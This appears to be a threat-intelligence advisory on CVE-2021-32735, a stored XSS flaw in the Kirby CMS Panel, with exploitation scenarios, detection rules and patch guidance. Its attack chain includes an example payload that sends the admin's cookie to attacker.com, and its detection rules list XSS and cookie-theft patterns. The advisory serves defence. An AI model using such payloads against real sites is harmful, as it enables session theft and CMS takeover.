CVE-2021-32735

Executive Summary

CVE-2021-32735 is a stored cross-site scripting (XSS) vulnerability affecting Kirby CMS versions 3.5.5 and 3.5.6. The flaw exists in the Panel's ListItem component, which renders HTML in page titles without sanitization, allowing malicious actors to inject and execute arbitrary JavaScript within the context of an authenticated admin user's browser session. Successful exploitation enables privilege escalation from a low-privileged Panel user to full administrator access, and in certain configurations, unauthenticated visitors can trigger the attack via frontend forms. The vendor patched this vulnerability in version 3.5.7.

Technical Analysis

The vulnerability resides in Kirby CMS's Panel user interface, specifically within the ListItem component — a UI element used to render lists of pages and files in the Panel dashboard. According to the NVD description, the component displayed HTML in page titles "as it is," meaning that user-controlled data was rendered without proper output encoding or sanitization.

The attack mechanism follows a classic stored XSS pattern:

1. Injection Point: An attacker with Panel access creates or modifies a page, setting the page title to include malicious HTML/JavaScript payloads. If the site permits frontend form submissions that modify site data (e.g., user-generated content forms), visitors without Panel credentials can also inject malicious content into fields that will later be displayed as page titles.

2. Storage: The malicious payload is persisted in the CMS database as part of the page title or configuration text.

3. Trigger: When an administrator views the Panel's pages or files list, the ListItem component renders the stored title as raw HTML. The browser executes embedded <script> tags or event handler attributes (e.g., onerror, onload) in the context of the admin's session.

4. Impact: The injected script executes with the admin user's privileges and session state, enabling the attacker to steal session cookies, perform arbitrary administrative actions (creating admin accounts, modifying site configurations, exfiltrating data), or deploy further malware.

The vulnerability is specifically version-scoped: Kirby 3.5.5 and 3.5.6 are affected. The vendor's patch in 3.5.7 addresses the output encoding flaw. The CVSS score of 7.1 reflects the high confidentiality impact (full admin session compromise) tempered by the requirement for user interaction (admin must view the malicious list) and the context-dependent attack vector (requires either authenticated Panel access or a frontend form that allows modifying stored data).

The EPSS score of 0.00532 (42.2nd percentile) indicates low-to-moderate real-world exploitation likelihood in the wild, consistent with the vulnerability being patched in 2021 and no known CISA KEV listing.

Exploitation Scenarios

Prerequisites:

• Target must run Kirby CMS version 3.5.5 or 3.5.6
• Attacker requires either: (a) valid low-privileged Panel account, or (b) access to a frontend form that allows modifying site data displayed as titles in the Panel

Attack Chain — Scenario 1 (Authenticated Low-Privilege User):

1. Reconnaissance: The attacker identifies a Kirby CMS 3.5.5/3.5.6 deployment via version disclosure in HTTP headers, HTML source comments, or the /panel login page fingerprint.

2. Authentication: The attacker authenticates to the Panel with compromised or low-privileged credentials (e.g., an editor account).

3. Injection: Using the legitimate page creation/editing interface, the attacker sets a page title containing a malicious payload such as:

   <img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)">
   

   Or a more advanced payload that issues administrative API requests to create a new admin user.

4. Delivery/Trigger: An administrator with higher privileges navigates to the pages list in the Panel. The ListItem component renders the malicious title as raw HTML, executing the embedded script.

5. Post-Exploitation: The script runs in the admin's session context. The attacker exfiltrates the admin's session cookie, or directly executes administrative API calls (via XMLHttpRequest/fetch) to create a persistent admin backdoor account, modify site configuration, or deface the CMS.

Attack Chain — Scenario 2 (Unauthenticated Frontend Form):

1. Reconnaissance: Attacker identifies a Kirby site with a frontend form that permits data submission (e.g., contact forms, user-generated content) that feeds into fields rendered as page titles in the Panel.

2. Injection: Without any Panel access, the attacker submits crafted form data containing HTML/JavaScript in the title field.

3. Delivery: An admin subsequently reviews the submitted content in the Panel, triggering the XSS payload on page load.

4. Impact: Same as Scenario 1 — full admin session compromise, privilege escalation, and persistent backdoor installation.

Note: No public PoC or exploit code is available for this CVE. The attack chain is inferred from the NVD description and the well-documented mechanics of stored XSS in CMS Panel interfaces. The vendor's partial workaround — validating or sanitizing data from frontend forms — addresses Scenario 2 but does not protect against authenticated attacks from malicious Panel users.

Impact Assessment

Confidentiality Impact: HIGH — Successful exploitation grants full access to the admin Panel session, exposing all CMS content, user data, configuration files, and potentially connected databases or services.

Integrity Impact: LOW — The attacker can modify site content and settings, deface pages, or inject persistent malicious content throughout the CMS.

Availability Impact: LOW — The attacker could delete pages/users or render the Panel unusable, though this is not the primary objective.

Business Impact:

• Complete CMS takeover for affected organizations
• Data breach if session hijacking leads to credential harvesting or database extraction
• Reputation damage from site defacement or malware distribution to site visitors
• Regulatory consequences (GDPR, HIPAA) if user data is exfiltrated

Affected Systems: All Kirby CMS deployments running versions 3.5.5 or 3.5.6. Given Kirby's positioning as a lightweight CMS for portfolios, small business sites, and content-focused projects, the blast radius includes a broad set of small-to-medium web properties.

CVSS Context (7.1 High): The vector indicates a network-exploitable vulnerability (AV:N) with no required privileges (PR:N — due to the unauthenticated frontend form vector), but requiring user interaction (UI:R — admin must view the malicious list). The high confidentiality score dominates the overall rating.

Detection Guidance

Sigma Rule

title: Kirby CMS ListItem Stored XSS (CVE-2021-32735)
id: 8f3a4b1c-5d2e-4f6a-9b8c-1d2e3f4a5b6c
status: experimental
description: Detects potential stored XSS payloads in Kirby CMS page titles/fields targeting CVE-2021-32735
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-32735
author: valtersit.com Threat Intelligence
date: 2024/01/15
logsource:
    category: webserver
    product: nginx
    detection:
        selection_payloads:
            http.url:
                - '*<script>*'
                - '*onerror=*'
                - '*onload=*'
                - '*javascript:*'
                - '*<img*'
                - '*<svg*'
                - '*onmouseover=*'
                - '*onfocus=*'
        selection_paths:
            http.url:
                - '*/panel/pages*'
                - '*/panel/files*'
                - '*/panel/api/*'
        condition: selection_payloads and selection_paths
    falsepositives:
        - Legitimate admin users pasting HTML in page titles
        - Security scanners testing for XSS
    level: high

YARA Rule

rule Kirby_CMS_ListIItem_XSS_CVE_2021_32735 {
    meta:
        author = "valtersit.com Threat Intelligence"
        description = "Detect XSS payloads targeting Kirby CMS ListIItem component (CVE-2021-32735)"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2021-32735"
        date = "2024-01-15"
        score = 70
    strings:
        $s1 = "<script>" ascii wide nocase
        $s2 = "onerror=" ascii wide nocase
        $s3 = "onload=" ascii wide nocase
        $s4 = "onmouseover=" ascii wide nocase
        $s5 = "javascript:" ascii wide nocase
        $s6 = "<img src=x" ascii wide nocase
        $s7 = "<svg onload" ascii wide nocase
        $s8 = "fetch(" ascii wide nocase
        $s9 = "document.cookie" ascii wide nocase
        $s10 = "XMLHttpRequest" ascii wide nocase
        $s11 = "/panel/pages" ascii wide nocase
        $s12 = "/panel/files" ascii wide nocase
    condition:
        any of ($s1..$s7) and (any of ($s8..$s10) or any of ($s11..$s12))
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"ET WEB_SERVER Kirby CMS ListItem Stored XSS Attempt (CVE-2021-32735)";
    flow:established,to_server;
    content:"/panel/"; http.uri;
    pcre:"/(<script|onerror|onload|javascript:|onmouseover|<img|<svg)/i";
    sid:2021035;
    rev:1;
    reference:cve,2021-32735;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2021-32735;
    metadata:created_at 2024_01_15, updated_at 2024_01_15;
    classtype:web-application-attack;
    priority:1;
)

Elastic Detection

// EQL query for Elastic Security
sequence by host.name, source.ip
  [ http where
      url.path like~ "*/panel/*" and
      wildcard(query, "*<script>*", "*onerror=*", "*onload=*", "*javascript:*", "*<img*", "*<svg*")
  ] with maxspan=5m

Splunk SPL Query

index=web sourcetype=access_combined
| where like(uri_path, "%/panel/%")
| regex _raw="(?i)(<script|onerror=|onload=|javascript:|onmouseover=|<img|<svg)"
| stats count by clientip, uri_path, status, _time
| sort - _time
| eval alert = "Potential Kirby CMS XSS payload detected (CVE-2021-32735)"

Wazuh OSSEC Rule

<group name="kirby_cms,">

  <rule id="121035" level="10">
    <decoded_as>web</decoded_as>
    <match>onerror=|onload=|javascript:|&lt;script</match>
    <regex>(\/panel\/)</regex>
    <description>Kirby CMS ListItem XSS payload detected in Panel request (CVE-2021-32735)</description>
    <group>web_application_attack,xss,cve_2021_32735,</group>
    <mitre>
      <id>T1059.007</id>
      <id>T1190</id>
    </mitre>
  </rule>

</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED) — The vendor (Kirby) claims version 3.5.7 resolves the vulnerability. This is from a single source (the CNA) and has not been independently verified by third-party researchers or security vendors.

Immediate Mitigations (if unable to patch immediately):

1. Upgrade to Kirby 3.5.7 or later — This is the definitive fix. The vendor patched the output encoding issue in the ListItem component.
2. Sanitize/validate frontend form data: If the site allows visitors to submit content that becomes page titles or configuration text, implement strict server-side validation rejecting HTML tags (specifically <script>, event handler attributes, and javascript: URIs).
3. Restrict Panel access: Enforce least-privilege access to the Panel. Limit the number of users with Panel credentials and ensure low-privilege accounts cannot create content that is displayed to admins.
4. Content Security Policy (CSP): Implement a strict CSP header that blocks inline scripts (script-src 'self'), mitigating the impact of XSS even if payloads are injected.

Patch/Upgrade Steps:

1. Backup the site files and database.
2. Upgrade Kirby CMS to version 3.5.7 or the latest stable release following the official upgrade guide.
3. Verify the ListItem component now properly encodes HTML output.
4. Test the Panel thoroughly post-upgrade, specifically checking page/file title rendering.

Long-Term Hardening:

1. Input validation: Enforce allow-list validation on all user-controlled fields that are rendered in the Panel.
2. Output encoding: Ensure all UI components use proper context-aware output encoding for user data.
3. Regular patching cadence: Subscribe to Kirby security advisories and apply patches promptly.
4. Web Application Firewall (WAF): Deploy WAF rules to block common XSS payload patterns.
5. Least-privilege user management: Audit Panel user roles regularly and remove stale/unnecessary accounts.
6. Monitor the vendor advisory: Since patch confidence is only 2/4, monitor Kirby's official channels for confirmation or updates.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2021-32735
2. Vendor Advisory — Kirby CMS Security Releases: https://github.com/getkirby/kirby/security/advisories (Kirby 3.5.7 release notes)
3. MITRE CVE Record: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-32735
4. Kirby CMS Official Website: https://getkirby.com (version history and upgrade documentation)
5. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2021-32735 NOT listed — no known in-the-wild exploitation reported)

Threat Actor Campaigns / In-the-Wild Evidence: No known threat actor campaigns or exploit-in-the-wild activity has been reported for CVE-2021-32735. The low EPSS score (0.00532) and absence from CISA's KEV catalog indicate no observed active exploitation as of this report. The exploit code availability is unknown/private, and no public proof-of-concept has been published.